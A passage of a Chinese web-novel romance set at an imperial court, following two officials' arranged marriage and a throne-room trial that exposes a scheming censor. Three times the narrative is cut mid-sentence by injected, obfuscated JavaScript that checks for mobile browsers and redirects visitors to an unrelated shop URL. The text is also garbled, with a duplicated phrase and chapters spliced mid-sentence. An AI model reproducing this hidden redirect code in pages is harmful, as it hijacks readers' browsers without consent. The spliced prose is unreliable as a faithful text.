魏仲泽端起茶杯,慢条斯理地抿了一口,热气氤氲了他眼底的算计:“去吧,左右不过是个被人踩在泥里的弃子,看看也无妨。” 李想这才松了手指,黑子“嗒”地落在棋盘上,他抬眸看向魏仲泽,神色凝重:“对了,白日里,燕修延和谢伟恒从国师府出来后,陛下就急召了礼部尚书进宫,催着他们尽快筹备两人的大婚事宜,婚期定在了四月二十八。” 他往前倾了倾身子,声音压得更低:“陛下此举,究竟是何用意?谢伟恒身后的谢家,又是怎样的态度?他们是不是……” “管他什么用意。” 魏仲泽打断他的话,放下茶杯,眼底闪过一丝冷光。 “谢父向来看不惯武将,视燕修延这种靠军功起家的人为粗鄙武夫,眼里定然容不下他。速速派人把婚期的消息传到江南去,谢父收到信,定会星夜兼程赶回京城。” 他捻着棋子,嘴角勾起一抹算计的笑:“皇帝把婚期定得这般仓促,分明是想先斩后奏,绕过谢家长辈。” 与此同时,监察司里,却是一片热热闹闹的烟火气。 八仙桌上摆满了热气腾腾的菜肴,酱肘子油光锃亮,红烧鱼香气扑鼻,还有一碟金黄酥脆的炸鸡翅,正被众人抢得火热。 “阿欠!” 燕修延猛地打了个响亮的喷嚏,他一手揉着泛红的鼻尖,另一只手快如闪电,精准地夹走了碟子里最后一块精准地夹走了碟子里最后一块鸡翅,塞进嘴里嚼得喷香。 他含糊不清地嘟囔:“哪个王八犊子在背后念叨老子?想跟我抢吃的,温瑞你还嫩了点。” 温瑞咬着筷子,眼睁睁看着最后一块鸡翅落入他人之口,满脸不甘:“依我看,肯定不是念叨,是有人在背后骂你!” 燕修延挑了挑眉,斜睨着他,眼底带着几分戏谑:“哦?这么说,是你在心里骂我?” “我哪儿敢啊!”温瑞瞬间高举双手,直呼冤枉。 一旁的温泽看热闹不嫌事大,立刻拱火:“头儿,我可听见了!今天买酒的时候,温瑞还说呢,等你嫁了人,说不定监察司正使的位置,就能落到他头上了!” “温泽你别血口喷人!” 温瑞气得跳脚,抬手就往温泽胳膊上捶了一拳,“我是那么说的吗?我明明说的是,等头儿出嫁,不知道谢伟恒会不会撺掇陛下,撤掉头儿的正使位置!” 众人哄堂大笑,温瑞气得脸红脖子粗,心里把温泽骂了千百遍。 这传讹的本事,不去做说书先生真是屈才了! 良心都被狗吃了! 燕修延慢条斯理地倒了一杯酒,琥珀色的酒液在杯中晃荡,他语气闲适,眼底却藏着一丝不易察觉的锐利:“我和谢伟恒成婚,指定有人在背后盘算着,怎么拉下我俩其中一位。这京城里的水,怕是要更浑了。” 他将杯中酒一饮而尽,抹了抹唇角的酒渍,起身拎起搭在椅背上的披风:“我得进宫一趟,你们吃完记得把桌子收拾干净,别弄得乌烟瘴气的。” “头儿,宫门都快落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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翌日天光微熹,晨雾还未散尽,新宅门前的青石板路沾着些微湿意。 “谢大人早啊。” 燕修延的声音带着少年人特有的鲜活,身影轻快一跃,稳稳落在谢伟恒的马车踏板上,熟稔得仿佛早已往返千百次,连车帘都不用小厮掀,自己便掀帘钻了进去。 车外的谢小厮见状,忍不住低头小声嘀咕,哪使早啊,分明一点都不早……今日少爷迟了足足一个钟头。 不然哪能刚出门就撞见燕修延,真是躲都躲不开…… 嘀咕声轻得像风拂过草叶,却还是隐约飘进了车厢,只是车厢里两人都没接话,像是没听见一般。 谢伟恒端正坐在车厢内侧,一身月白锦袍衬得他面色愈发清俊温润,膝盖上静静放着一个油纸包。 油纸缝隙里渗出让人安心的淡甜香气,是城南老字号的桂花糕,甜而不腻,最是养胃。 燕修延刚坐下,鼻尖就被这香气勾住,目光不受控制地在油纸包上转了好几圈,眼神亮闪闪的,像只等着投喂的小兽,却又刻意端着点架子,没立刻开口讨要。 “谢大人……” 燕修延刚试探着唤了一声,话还没说完。 谢伟恒便已抬手将油纸包轻轻递到他面前,指尖擦过油纸边缘,语气平淡却带着几分纵容:“燕大人何时这般客气了,自便便是。” 这话倒是不假,以往在宫门外等候早朝时,燕修延哪次不是直接上手抢谢伟恒的吃食,半点客气都没有。 谢伟恒素来心思缜密,知道燕修延贪嘴,却又怕他早朝时吃多了腹中不适,万一殿前失仪惹陛下不悦,便每次都只带少量糕点,刚好够燕修延垫垫肚子,既满足了他的口腹之欲,又能避去风险。 燕修延也不矫情,接过后便打开油纸包,拿起一块桂花糕塞进嘴里,软糯的糕点裹着清甜的桂花香在舌尖化开,他满足地眯了眯眼,吃相不算文雅,却透着股坦荡的鲜活。 几块糕点很快见了底,只剩最后一块孤零零躺在油纸中央,燕修延拿起糕点,没有立刻塞进自己嘴里。 反而转过身,微微倾身凑到谢伟恒面前,将糕点递到他嘴前,语气带着几分戏谑的试探:“谢大人,这最后一块,当真一口不吃了?” 谢伟恒抬眸看他,两人距离极近,能清晰看见燕修延眼底未散的笑意,鼻尖甚至能闻到他身上淡淡的桂花糕甜香,混合着少年人身上特有的清爽气息,让人有些心猿意马。 他定了定神,喉结轻轻滚动了一下,声音依旧平静无波:“嗯。” 燕修延见他确实无意,便收回手,三两口将最后一块糕点吃完。 随手拍了拍手上的糕点碎屑,本性难移地又开始犯欠,语气轻佻又带着几分调笑:“谢大人这般拒人于千里之外,当真是冷漠得很,也不知洞房花烛夜时,谢大人会不会也这般冷淡,让我失望啊?” 这话直白又露骨,车厢里的空气仿佛凝滞了一瞬。 谢伟恒垂了垂眼,长长的睫毛在眼下投出一片浅浅的阴影,让人看不清他眼底的情绪,只是沉默着没有说话,指尖却悄然攥紧了膝上的衣料,锦袍的纹路被捏出几道浅浅的褶皱。 燕修延见他不答,反而愈发得寸进尺,往前凑了凑,声音压低了些,带着几分故意的蛊惑:“瞧谢大人这模样,想来是对此事一窍不通吧?无妨,我经验多,到时候可以好好教你……” 他的话还没说完,谢伟恒忽然抬眸看他。 眼底没了往日的温润平和,反而沉得像深不见底的寒潭,晦暗难懂,语气也带着几分说不清道不明的凉意,缓缓开口:“看来燕大人,对此事倒是很熟练啊。” 燕修延没听出他语气里的异样,只当他是在顺着自己的话接茬,当即挺了挺胸膛,一脸得意地拍了拍胸脯,语气笃定:“那是自然!你放心,到时候我定会倾囊相授,绝无半分保留!” 这话可没说谎,之前去青楼套消息时,老鸨硬塞了他好几本春宫图,他偷偷翻看过几眼,虽没实操过,理论知识倒是攒了不少,这话也不算骗人。 当然,这事说出去实在不雅,他肯定不会跟谢伟恒说实话。 话音落下的瞬间,车厢里的温度骤然降低了几分,原本淡淡的暖意消失无踪,只剩下一股莫名的寒意,顺着车厢缝隙钻进来,让人忍不住打了个寒颤。 燕修延不明所以,只当是外面的冷风吹进了车厢,下意识裹了裹身上的锦袍,没多想其他。 片刻后,谢伟恒缓缓收回目光,指尖松开了皱起的衣料。 语气依旧缓慢平稳,听不出喜怒,却带着一种不容置疑的笃定:“既然如此,洞房那日,便有劳燕大人倾囊相授了。” 燕修延没察觉他话里的深意,只以为他是默认了自己的调侃,当即摆摆手,笑得一脸爽朗:“好说,好说!都是自己人,客气什么!” 车厢里重新恢复了平静,只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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说他自恃位高权重、目中无人,不将同僚放在眼里,闹得当时满朝文武侧目。 至于燕修延,更是季风的“重点关照对象”,隔三差五就被他告上一状,轻则说他行事张扬、有失体统,重则说他结党营私、意图不轨,早已成了朝堂上的家常便饭。 此刻听见“私吞抄家之物”这般罪名,燕修延脸上半点波澜都没有,眉头都没皱一下。 虞睿祥留着季风这老东西不动,并非是信任他,不过是想留着他这杆“枪”,看看日后能不能派上什么用场,借他的手敲打敲打朝中大臣,平衡各方势力罢了。 可在燕修延看来,季风这般只会攀咬同僚、不干实事的人,留着纯属浪费朝廷的俸禄银子,半点用处都没有。 17. 分明是帝心更浓 虞睿祥视线淡淡扫过燕修延,目光落在他坦然无畏的脸上,指尖轻轻摩挲着龙椅扶手。 “燕卿可有要辩驳的?” 话音刚落,燕修延上前一步,身姿挺拔如松,目光直直看向季风,抬手对着他伸出手,语气平静却带着几分逼人的锐利。 “我中饱私囊,究竟贪了多少?又用抄家之物做了什么?还请季大人一一说来,也好让满朝文武评评理,莫要平白污了我的名声。” 季风早有准备,胸膛一挺,视线当即转向站在一旁的谢伟恒。 像是抓住了确凿证据般,声音陡然拔高几分:“你贪了黄金五十两!更用这笔不义之财,买了谢大人隔壁的宅院,此事谢大人亲眼所见,想来以谢大人的公正廉明,定然不会包庇于你!” 他心里打得算盘极响。 燕修延与谢伟恒虽有婚约在身,可二人一个张扬跳脱,一个沉稳内敛,素来不算亲近,如今正是扳倒燕修延的好机会,谢伟恒绝无理由放过,定会站出来指证。 “五十两?新宅院?” 燕修延重复着这两个词,眼底闪过一丝诧异,随即又恢复了淡然,似是觉得可笑。 见他开口接话,季风心中一喜,连忙趁热打铁,语气越发笃定:“或许远超五十两,只是臣暂时尚未查到实证,还请陛下派人彻查,定能查出他更多贪腐之事!” 就在满朝文武屏息凝神,等着看谢伟恒如何表态时。 谢伟恒终于缓缓出列,声音平稳无波,清晰传遍大殿:“季大人所言,确有此事。” 这话一出,殿内顿时一片哗然,就连燕修延都猛地转头看向谢伟恒,眼底满是错愕,微微蹙起眉,眼神里带着几分不解的示意——我何时贪黄金了? 不等他开口询问,殿内突然有三位大臣一同出列,躬身对着虞睿祥行礼,语气急切而坚决:“陛下,燕修延贪污抄家之物,证据确凿,恳请陛下立即脱去他的官服,将其押入大牢,严加审讯!” 燕修延挑了挑眉,嘴角勾起一抹意味深长的笑,心里暗道一声:呦,这一激,倒是把藏在后面的大鱼给炸出来了。 这三位都是朝中武将,平日里在朝堂上与季风针锋相对,互不相让,如今却齐齐站出来帮季风指控自己。 原来之前的不和都是装出来的,竟是一伙的。 这么看来,季风留着倒也不算完全没用,至少能钓出这些隐藏的势力。 众臣本以为燕修延会慌乱辩解,谁知谢伟恒却再次开口。 语气依旧不紧不慢,却像一颗石子投入平静的湖面,瞬间打破了大殿的喧嚣:“陛下昨日亲自赏赐的钱财,也算贪污?” 季风和那三位武将皆是一愣,脸上的得意瞬间僵住,齐齐傻了眼,满脸难以置信地看着谢伟恒,仿佛没听清他说的话。 谢伟恒迎着众人震惊的目光,神色依旧淡然,缓缓吐出两个字,字字清晰:“嫁妆。” 短短二字,却让满朝文武彻底哗然,就连一直沉默的虞睿祥,脸上都露出了似笑非笑的神情,目光落在季风身上,语气带着几分玩味:“那宅院的钱,是从朕的私库里拿的,当做给燕卿的添妆,自然不算贪污。倒是季大人,消息倒是灵通得很,这么快就知道了此事?” 谁也没料到,燕修延买的那处宅院,竟是皇帝亲自赏赐的! 先前还传燕修延失去了帝心…… 可如今看来,太后送了几十箱嫁妆,皇帝又亲自赐钱买宅院,哪里是失了帝心。 分明是帝心更浓,宠信有加! 更让人意外的是,谢伟恒本可以借着此事踩燕修延一脚,巩固自己的地位,可他却偏偏选择站出来帮燕修延辩解,打破了所有人的预料。 众臣心思各异,看向谢伟恒的目光变得复杂起来,有疑惑,有探究,也有忌惮,而谢伟恒却依旧神情自若,仿佛只是说了一件微不足道的小事。 燕修延回过神来,心里的诧异渐渐散去,随即看向季风,嘴角勾起一抹嘲讽的笑,对着虞睿祥躬身行礼:“陛下,季大人不仅随意污蔑同僚,私生活更是混乱不堪,每日流连青楼楚馆,荒废公务,有失大臣体面。” 季风瞳孔骤然紧缩,握着手中玉笏的手微微颤抖起来,脸色瞬间涨得通红,厉声反驳:“满口胡言!燕修延,你竟敢如此污蔑于我!” “就许你凭空污蔑我贪污,不许我说句实话?季大人可 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听到这话,季风心里稍稍松了一口气,暗自庆幸自己早已提前打点好余氏,叮嘱她若是被传上殿,便一口咬定是燕修延强抢她入府,故意栽赃陷害,只要余氏按他说的做,燕修延的指控便不攻自破。 可不等他松完这口气,燕修延便再次开口。 语气淡然却带着十足的把握:“陛下,除了余氏,五年前为余氏接生的稳婆、青楼的老鸨,还有余氏别院的左邻右舍,都可以一并传上殿来对质,真假一辨便知。” 季风刚刚放下的心瞬间又提了起来,后背冒出一层冷汗,手脚冰凉。 他没想到燕修延竟然连这些人都找到了,还查得如此细致,看来今日之事,怕是难以善了了。 一同出列的三位武将见状,心里也打起了鼓,他们知道,今日主动站出来指控燕修延,已然暴露了自己的立场,让皇帝知晓他们并非中立派,如今若是不能成功拉下燕修延,日后定然会遭到报复。 事到如今,只能破釜沉舟,无论如何都要将燕修延拖下水。 其中一位武将上前一步,对着虞睿祥躬身行礼:“陛下,燕大人与季大人各执一词,争执不下,而且燕大人偷梁换柱,说季大人有私,定是在遮掩什么!” 18. 燕大人不会受委屈 燕修延摊摊手,唇角勾着抹漫不经心的讥诮:“因为有私,所以合谋污蔑本官啊——这位大人,你是不是傻?” 武将浓眉拧成疙瘩,喉结滚了滚还没出声,季风已按捺不住跳脚,袍袖狠狠一甩:“燕修延!你竟敢用言语恶意攻讦同僚,眼里还有朝廷王法吗?” “啧。” 燕修延不耐烦地咂了下舌,目光扫过季风涨红的脸,像是在看什么不堪入目的东西,“我都要怀疑季大人这御史官衔是银钱买来的了!瞧你这胸无点墨、只会喊打喊杀的样子,不如去案头啃两口墨条,再灌两碗清水,好好给肚子里补补墨水,免得站在这里丢人现眼。” “你放肆!” 季风气得吹胡子瞪眼,额角青筋突突直跳,手指着燕修延的方向,指尖都在发颤。 一旁的武将生得格外魁梧,肩宽背厚,颧骨高高耸起,衬得一双不大的眼睛愈发锐利,此刻正透着几分算计的精光。 他上前一步,躬身向御座上的人行了个标准的礼,声音洪亮却带着刻意的沉稳:“恳请陛下彻查此事!燕大人身居高官,若当真清白无辜,便该当众理清是非,也好昭告天下,还燕大人一个公道,堵住悠悠众口。” “嗤。” 燕修延低笑一声,笑声里满是嘲讽,“我本就清白坦荡,何来‘还公道’一说?那些腌臜脏水,不都是你们一盆盆往我身上泼的么?” 说着,他手执玉笏,腰身微躬,向御座上的虞睿祥深深拜下,语气掷地有声:“陛下,季御史等人一口咬定臣犯下诸多罪状,既然今日话说到这份上,索性便好好查上一查!倒要看看,究竟是臣贪赃枉法、结党营私,还是这些人蓄意构陷、狼狈为奸,妄图颠倒黑白!” 话音刚落,谢伟恒便缓步出列,官袍随着动作轻晃,身姿挺拔如松。 他垂着眼,语气平淡却带着不容置疑的坚定:“陛下,臣与燕大人婚期将近,此事关乎二人清誉,更关乎朝廷纲纪,望陛下尽早查清楚,还朝野一个清明。” 众人皆是一愣。 谁都知道谢伟恒素来清冷寡言,不与朝臣结党,更极少在朝堂上为谁发声,今日竟主动为燕修延说话? 不管谢伟恒是真心维护,还是另有打算,他既开了头,其他本就不愿蹚这浑水、又想卖谢伟恒一个人情的官员,纷纷跟着躬身拜下,齐声附和:“恳请陛下彻查此事!还二位大人清白!” 御座上的虞睿祥手指轻轻敲击着扶手,目光扫过殿内神色各异的群臣,眼底掠过一丝不易察觉的深意,随即顺水推舟道:“既然众卿都这么说,那便查吧。今日就在这殿上查清楚,绝不拖延。” 话音刚落,宫人便鱼贯而入,抬来几张案桌,又端上茶水点心,一一摆放妥当。 大理寺少卿见状,无奈地叹了口气——这分明是把活儿全推给他了。 他看了眼已经自在落座、拿起一块桂花糕往嘴里塞的燕修延,摇了摇头,只能任劳任怨地走上前,开始梳理季风等人提交的“证据”。 燕修延咬着桂花糕,甜香在舌尖散开,他抬手给旁边的谢伟恒倒了杯热茶,杯盖碰撞杯身发出清脆的声响。 他瞥了眼对面坐立难安的季风,声音压得极低,只有两人能听见。 “谢大人,这阵仗,熟悉不?王庸,就是这么没的。” 季风坐在对面,心始终悬在半空,掌心早已沁满冷汗。 他本以为,今日只需将“证据”呈上去,再煽动几位同僚附和,陛下即便不立刻治燕修延的罪,也会将他暂且收押审问,届时他们有的是时间串通说辞、补全漏洞。 可他万万没料到,陛下竟会当场让人彻查,还把所有人都扣在殿内,连一丝通风报信的机会都不给,一旦“证据”露出破绽,他们根本无从辩解。 燕修延闲适地吃着点心、喝着热茶,眉眼间满是从容,看似漫不经心,实则余光一直在不动声色地观察对面官员的神色——谁眼神闪烁,谁气息不稳,谁暗自焦灼,都逃不过他的眼睛。 殿内的其他大臣,也在悄悄打量着燕修延与谢伟恒。 只见谢伟恒端坐在那里,半阖着眼,长长的睫毛在眼睑下投出一片浅影,神色淡漠疏离。 燕修延给他倒的那杯茶,他连碰都没碰,仿佛身边的人只是个无关紧要的陌生人。 御座上的虞睿祥低头批阅着奏折,遇到有疑问的地方,便当场询问相关官员,殿内的事务处理起来,竟比平日里快了不少。 燕修延吃了两块糕点,又喝了一杯热茶,连日来的忙碌涌上心头,竟渐渐犯起了瞌睡。 他的头一点一点的,像只困倦的小猫,眼皮越来越沉,忽的身子一歪,脑袋直直靠在了旁边谢伟恒的肩头。 这一幕来得突然,对面的大臣看得真切,纷纷暗自惊讶。 而被依靠的谢伟恒,眉头瞬间拧了起来,眼底掠过一丝明显的不快。 看来,方才他为燕修延说话,或许并非真心维护,只是实话实说罢了。 谢伟恒抬手,轻轻将燕修延的脑袋往旁边推了推,在外人看来,像是极不耐烦地想要推开他,却没能完全推走。 可只有他自己知道,他的动作格外轻柔,只是将燕修延的脑袋挪到了一个更舒适的位置,避免他睡得不舒服。 御座上的虞睿祥将这一切看在眼里,眼底闪过一丝笑意,随即轻咳一声。 “请安的折子,日后不必再上了。” 那些诸如家中屋顶漏水、母马生下小马驹之类的琐事,也能硬生生扯到“皇恩浩荡”上,写满一本折子递上来,看上一眼都是在浪费时间。 “是,陛下。” 大臣们齐声应道,声音不算小,扰得靠在谢伟恒肩头的燕修延皱起了眉头。 他不满地嘟囔了一句,脑袋在谢伟恒的肩头蹭了蹭,不知怎的,身子一滑,竟从谢伟恒的肩头往下坠去。 眼看燕修延的脑袋就要狠狠撞到桌角,发出清脆的声响,谢伟恒眼疾手快,迅速伸出手,稳稳托住了他的后脑。 掌心触到温热的发丝,带着淡淡的墨香,他的指尖微微一顿,随即不动声色地调整了姿势。 在外人看来,倒像是他想将燕修延推开,奈何力气不够,只能勉强托住他一般。 季风见状,像是抓住了救命稻草,立刻站起身,指着燕修延高声道:“陛下!燕修延在金銮殿上公然打瞌睡,还做出如此失礼之举,殿前失仪,按律当治罪!” 虞睿祥抬眼,冷冷扫了季风一眼,随手抓起一本奏折,狠狠扔到他面前的地上,奏折散开,纸张散落一地。 “季大人这是在教朕做事?” 他的语气平静,却带着不容置疑的威严,“说起来,朕倒是想向季大人请教一下,这折子上所说的事情,究竟是真是假?” 众人的目光纷纷投向地上的奏折,只见上面密密麻麻写满了文字,详细陈述了季风的儿子打着他的名号在外仗势欺人、横行霸道,甚至强抢民女的种种劣迹。 何时何地、殴打了何人、强抢的民女姓甚名谁、最后又如何逼迫对方的,都写得清清楚楚,甚至还有人证物证的名录。 “陛下!臣冤枉啊!” 季风脸色骤变,双腿一软,“噗通”一声跪倒在地,额头紧紧贴在冰冷的地面上,声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646176|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着明显的颤抖,拼命掩藏着脸上的心慌与慌乱。 “这一定是有人恶意栽赃陷害,臣的儿子绝不敢做出这等违法乱纪之事!还请陛下明察!” 燕修延被他这一声哭喊吵醒,迷迷糊糊地睁开眼睛,看到地上散落的奏折,瞬间便明白了一切,眼底的睡意褪去,取而代之的是几分玩味。 “季大人,你一口咬定我犯下的那些罪名,该不会都是你和你儿子做过的龌龊事,如今嫁祸到我头上吧?不然怎么这么巧,你的把柄刚好被人揪出来了?” 礼部尚书站在一旁,脸色早已沉了下来。 礼部这几日本就忙着筹备燕修延与谢伟恒的婚事,忙得焦头烂额,如今又被季风这档子事拖累,困在殿内等查案结果,心头的火气早已憋了许久。 他冷哼一声,语气疾言厉色:“季大人,你脸上就差没把‘心虚’二字写清楚了!本官倒是很好奇,谢大人与燕大人婚期在即,正是朝廷上下关注之时,你们一个个在这个时候跳出来弹劾燕大人,究竟是为了朝廷纲纪,还是另有图谋?” 先前与武将一同站出来,请求陛下处置燕修延的另外两位,此刻脸色也变得十分难看,不约而同地将视线投向跪在地上的季风,眼底满是不满与警惕。 他们本是被季风说动,以为燕修延当真罪证确凿,才敢站出来附和,如今看来,这根本就是季风设下的局,他们反倒成了帮凶! 武将紧闭着双眼,双手紧握成拳,放在身侧,充耳不闻周围的动静。 他此刻早已满心后悔,悔不该轻信季风的花言巧语,一时冲动站出来弹劾燕修延。 好在,牵头攀咬燕修延的是季风,他不过是“被迷惑”的从犯,即便事后追责,也能从轻发落。 而且没了季风这个竞争对手,他在晋王面前,反倒能多几分信任,也不算全无功而返。 季风跪在地上,冷汗顺着额角滚落,浸湿了额前的发丝,后背更是早已被冷汗浸透,黏腻地贴在身上,让他浑身发冷。 他死死咬着下唇,不敢抬头看御座上虞睿祥的眼神,更不敢回应众人的质疑,只能一个劲地喊着“臣冤枉”。 燕修延看着他狼狈的模样,眼底闪过一丝嘲讽。 随即抬起手,轻轻搭在谢伟恒的肩头,身子微微前倾,脑袋低垂着,长长的睫毛遮住了眼底的情绪,语气带着几分刻意装出来的可怜兮兮:“谢大人,你看他们这么欺负我,你觉得我委屈不?” “等我嫁到你家,若是日后受了旁人的委屈,你会替我出头不?” 谢伟恒的身体微微一僵,随即抬手,轻轻握住了燕修延搭在自己肩头的手腕。 他的掌心温热,带着几分薄茧,触感清晰地传来。 燕修延像是被烫到一般,猛地抽回了自己的手,指尖微微泛红,心跳竟莫名快了几分。 谢伟恒垂着眼,目光落在燕修延抽回的手腕上,眼底掠过一丝极淡的失落,随即恢复平静,语气依旧淡漠。 “燕大人不会受委屈。” 想让燕修延受委屈的人,不管是谁,他都会慢慢查出来,一点一点地全部除掉,绝不让任何人伤害他分毫。 燕修延并不知道谢伟恒心中的想法,只当他是在敷衍自己,不满地撇了撇嘴,拿起一块刚端上来的杏仁酥,伸手塞进谢伟恒嘴里:“谢大人好生敷衍,一点诚意都没有。” “啪!” 就在这时,虞睿祥又抓起一本奏折,狠狠扔到地上。 这一次,他的语气里已经带上了明显的怒意,声音冰冷刺骨:“季风!你看看这上面写的是什么!你干的好事,还有脸喊冤枉?!” 19. 我凭什么听你的? 季风的目光抖着扫过地上的奏折,只一眼,浑身的血液便像瞬间冻住,冷汗顺着额角、脊背疯狂往下淌,浸湿了官袍内里的衬布,黏腻地贴在皮肤上,凉得他骨头缝里都发颤。 那上面白纸黑字写得明明白白——当年他儿子参加科考,他暗中花重金打点考官、买通监场御史,提前偷出考题,请了文坛名士代笔写好文章,缝在儿子衣襟夹层里带入考场,才让草包儿子混了个同进士出身。 这等隐秘事,他藏了这么多年,连枕边人都未曾透露半分,竟不知被谁翻了出来,还攥了实打实的证据! 再看御座上陛下神色平静,眼底却无半分惊讶,反倒透着几分“果然如此”的了然,季风心头猛地咯噔一下。 他猛地抬头看向一旁气定神闲的燕修延,对方正噙着笑看他的笑话,那眼神里的笃定,像一盆冷水,将他最后一丝侥幸浇灭。 殿内已有心思活络的大臣反应过来,悄悄交换了个眼神,眼底满是后怕与庆幸。 陛下哪里是临时起意彻查,分明是和燕修延早就布好了局,演了一出瓮中捉鳖! 就等着季风带着人跳出来弹劾,好顺理成章地翻出他的旧账,一网打尽! 还好自己方才没头脑发热跟着站队踩燕修延,不然此刻怕是要和季风一同站在火坑里! 燕修延伸着脖子,凑到谢伟恒身边,眯着眼盯着地上奏折上的字迹,看了半晌,眉头轻轻皱起,用只有两人能听见的声音小声嘀咕:“温瑞这字怎么写得这么丑,跟鸡爪子扒的似的。” 方才第一本弹劾季风的奏折,署名写得更是潦草至极,他看了半天都没认出来是谁递的。 不过倒是递得极是时候,刚好撞在刀刃上,把季风打了个措手不及。 他声音压得极低,殿内又因季风的罪状议论纷纷,唯有紧挨着他的谢伟恒听得一清二楚。 谢伟恒端起面前的茶盏,凑到唇边轻轻喝了一口,掩去眼底一闪而过的笑意。 温瑞的字丑是真,但昨夜他从密道入宫递的那本,是用左手写的,即便刻意写得潦草,也比温瑞那歪歪扭扭的字迹好看些。 燕修延哪里知道,昨夜他沾床就睡熟后,谢伟恒便带着整理好的奏折,从府中早已打通的密道进了宫。 虞睿祥、燕修延早已预设过今日可能发生的种种情况。 谢伟恒细细推敲了半夜,将那些遗漏的细节、可能出现的变数一一列出,补全了对策。 这张网既然张开,就绝不能只网住季风一条鱼,那些藏在暗处、与季风勾结的蛀虫,今日一并清算才好。 先帝在位时,朝堂本就乌烟瘴气,奸臣当道,清流一派人微言轻,根本掀不起风浪。 科举舞弊更是屡见不鲜,每次闹大了,也只是抓几个无权无势的小官顶罪,真正的幕后黑手从未受到惩处。 谢伟恒当年能在那样的环境里脱颖而出,拿下状元头衔,靠的不仅是自身远超同龄人的才学。 更有江南谢家这棵大树撑腰——当年主考官知晓他的身份,不敢在试卷上动手脚,才让他与一批真正有真才实学的寒门子弟得以入选,也算是难得的清明一届。 “等等,科考行贿?” 燕修延收回目光,看向趴在地上抖成筛子的季风,脸上非但没有半分同情,反倒透着几分兴致勃勃,语气轻佻得像在看戏? “怪不得我总觉得你家公子草包一个,半点文人风骨都没有,原来竟是这么混进官场的。说起来,季大人当年科考时,该不会也走了同样的路子,行贿舞弊才中的功名吧?” 话音刚落,他又故作好心地补充道:“要不这样,季大人你当着陛下和众卿的面,作一首诗来看看?” “若是做得好,字句工整、意境尚可,我便向陛下替你求求情,从轻发落如何?” 这话一出,殿内不少人都憋不住低笑出声。 谁不知道季风胸无点墨,平日里写个奏折都要让幕僚代笔,连基本的平仄对仗都分不清。 让他作诗,简直是故意刁难,往他脸上打耳光! 要说损,还得是燕修延,杀人诛心不过如此。 不过季风落到这般境地,纯属咎由自取,不值得半分同情。 虞睿祥放下手中的朱笔,目光落在地上的季风身上,语气平淡却带着不容置疑的威严:“季风,你可有话要说?” 季风死死咬着下唇,尝到了满嘴的血腥味,他知道今日若是认了,便是万劫不复,只能拼尽全力辩解,声音带着哭腔。 “陛下!臣……臣和犬子不曾做过这些糊涂事,但这都是燕修延陷害臣的!是他故意搜集,设局引臣上钩,臣冤枉啊!” “啊是是是,对对对。” 燕修延连连点头,语气敷衍到了极点,眼底的嘲讽都快溢出来了,“季大人说的是,你最清廉无比,是天上的文曲星下凡,那些龌龊事,都是我凭空捏造、陷害你的,行了吧?” 他话音刚落,谢伟恒突然开口,语气依旧淡漠,却字字精准,直戳要害:“季大人若想自证清白,不必作诗这么麻烦,只需将当年科考的考题,以及你当年答卷上的文章大致复述出来,再与当年的试卷比对,真假自现。” 虞睿祥闻言,微微颔首,当即吩咐道:“来人,去翰林院调取当年的科考试卷,即刻送来。” 季风一听这话,脸色瞬间变得惨白如纸,浑身抖得更厉害了,连牙齿都在打颤。 当年他为了稳妥,不仅提前买了考题,还请人代笔写了文章,自己更是连考题内容都没仔细看,更别说记住那篇代笔的文章了。 这么多年过去,别说复述文章,就连当年考的是什么题目,他都早已忘得一干二净,根本无从辩解! “陛下……臣……臣年岁大了,记性不好,当年的事情太过久远,实在记不大清楚了……” 季风的声音越来越小,底气不足,眼神躲闪着不敢看虞睿祥。 虞睿祥显然早已料到他会这般说辞,目光扫过殿内,看向几位年纪比季风还大上不少的老臣,温声道:“几位卿家当年科考,距今已有数十年,不知还记得当年的考题,以及自己答卷上的大致内容吗?” 几位老臣纷纷躬身应答,有的几乎没有思索,便清晰地说出了当年的考题与文章主旨;有的稍加沉吟,也缓缓道出了细节,甚至能背出文中的几句关键句子,条理清晰,逻辑分明,显然是刻在骨子里的记忆。 燕修延见状,适时地添了把火,语气凉飕飕的,像带着冰碴子:“季大人这记性,可真是够差的。连自己科举及第的考题和文章都记不住,怎么还好意思在御史台待这么多年,不自请辞官呢?” “年纪大了记性不好,就该回家颐养天年,别占着御史的位置不干活,在民间,这叫占着茅坑不拉屎,说得难听点,就是尸位素餐!” 这话太过直白粗俗,完全不符合朝堂礼仪,殿内瞬间安静了几分,不少大臣都屏住了呼吸,偷偷看向御座上的虞睿祥,生怕陛下动怒。 谢伟恒眉头微蹙,伸手轻轻拍了一下燕修延的手背,示意他收敛些。 燕修延不明所以,转头看向他,眼底满是疑惑:“你打我干嘛?我说的是实话啊,他本来就是占着位置不干活。” 谢伟恒收回手,垂着眼,语气平淡却带着几分认真:“朝堂之上,百官齐聚,还请燕大人注意自己的言辞,莫要失了礼仪。” 燕修延心里嘀咕,他向来随心所欲,在哪儿都不用刻意约束言辞,陛下都没说什么,谢伟恒倒是先管起他来了。 他撇了撇嘴,故意带着几分赌气的语气嘟囔道:“我还没嫁到你谢家,谢大人这就迫不及待地约束起我的言行来了?是不是管得太宽了点?” 谢伟恒抬眼看向他,眼底闪过一丝极淡的暖意,语气依旧平静,却带着不容反驳的笃定:“你说是,便是。” 